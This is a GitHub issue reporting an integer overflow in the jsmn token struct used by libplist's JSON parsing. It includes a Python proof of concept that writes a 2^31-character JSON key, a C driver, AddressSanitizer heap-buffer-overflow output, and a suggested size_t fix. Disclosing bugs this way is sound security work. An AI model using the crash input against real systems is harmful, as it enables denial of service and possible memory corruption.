-
-
Notifications
You must be signed in to change notification settings - Fork 329
Open
Description
/**
* JSON token description.
* @param type type (object, array, string etc.)
* @param start start position in JSON data string
* @param end end position in JSON data string
*/
typedef struct {
jsmntype_t type;
int start;
int end;
int size;
#ifdef JSMN_PARENT_LINKS
int parent;
#endif
} jsmntok_t;Using int to store start, end, and size in this structure can lead to crashes when reading a tag longer than INT_MAX.
PoC (Proof of Concept)
Python code that writes a JSON file with a very large string to trigger the overflow:
def stream_write_with_chars(prefix, suffix, char, count, output_file):
"""
Write content in a streaming manner: prefix + count copies of a specified character + suffix.
"""
if not isinstance(count, int) or count < 0:
raise ValueError("count must be a non-negative integer")
with open(output_file, 'w', encoding='utf-8') as f:
f.write(prefix)
chunk_size = 1024
remaining = count
while remaining > 0:
write_size = min(remaining, chunk_size)
f.write(char * write_size)
remaining -= write_size
f.write(suffix)
print(f"Successfully wrote to file: {output_file}")
print(f"Content structure: prefix({len(prefix)} characters) + {count} '{char}' characters + suffix({len(suffix)} characters)")
if __name__ == "__main__":
prefix = '''{ "Name'''
suffix = '''": "Alice", "Age": 20 }'''
insert_char = "a"
char_count = 0x80000000 # 2^31 characters
output_filename = "6.json"
try:
stream_write_with_chars(prefix, suffix, insert_char, char_count, output_filename)
except Exception as e:
print(f"An error occurred: {e}")Driver Code
C code that reads the JSON file and parses it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
plist_err_t plist_from_json(const char *json, uint32_t length, plist_t *plist);
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <json-plist-file>\n", argv[0]);
return 1;
}
const char *filename = argv[1];
FILE *fp = fopen(filename, "rb");
if (!fp) { perror("fopen"); return 1; }
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
fseek(fp, 0, SEEK_SET);
if (size <= 0) { fprintf(stderr, "File is empty or invalid size\n"); fclose(fp); return 1; }
char *buffer = malloc(size + 1);
if (!buffer) { perror("malloc"); fclose(fp); return 1; }
fread(buffer, 1, size, fp);
buffer[size] = '\0';
fclose(fp);
plist_t root = NULL;
plist_err_t err = plist_from_json(buffer, (uint32_t)size, &root);
if (err != PLIST_ERR_SUCCESS || !root) {
fprintf(stderr, "❌ plist_from_json() failed: %d\n", err);
free(buffer);
return 1;
}
printf("✅ Parsed JSON plist successfully!\n");
char *xml = NULL;
uint32_t length = 0;
plist_to_xml(root, &xml, &length);
if (xml) { printf("\n=== Converted to XML ===\n%s\n", xml); free(xml); }
plist_free(root);
free(buffer);
return 0;
}Observed Result
AddressSanitizer: heap-buffer-overflow ...
READ of size 1 ...
0x7fa4606fb81c is located 0 bytes to the right of 2147483676-byte region ...
SUMMARY: AddressSanitizer: heap-buffer-overflow in unescape_string
Suggested Fix
Use size_t for start, end, and size to be consistent with the data types used for file reading.
Metadata
Metadata
Assignees
Labels
No labels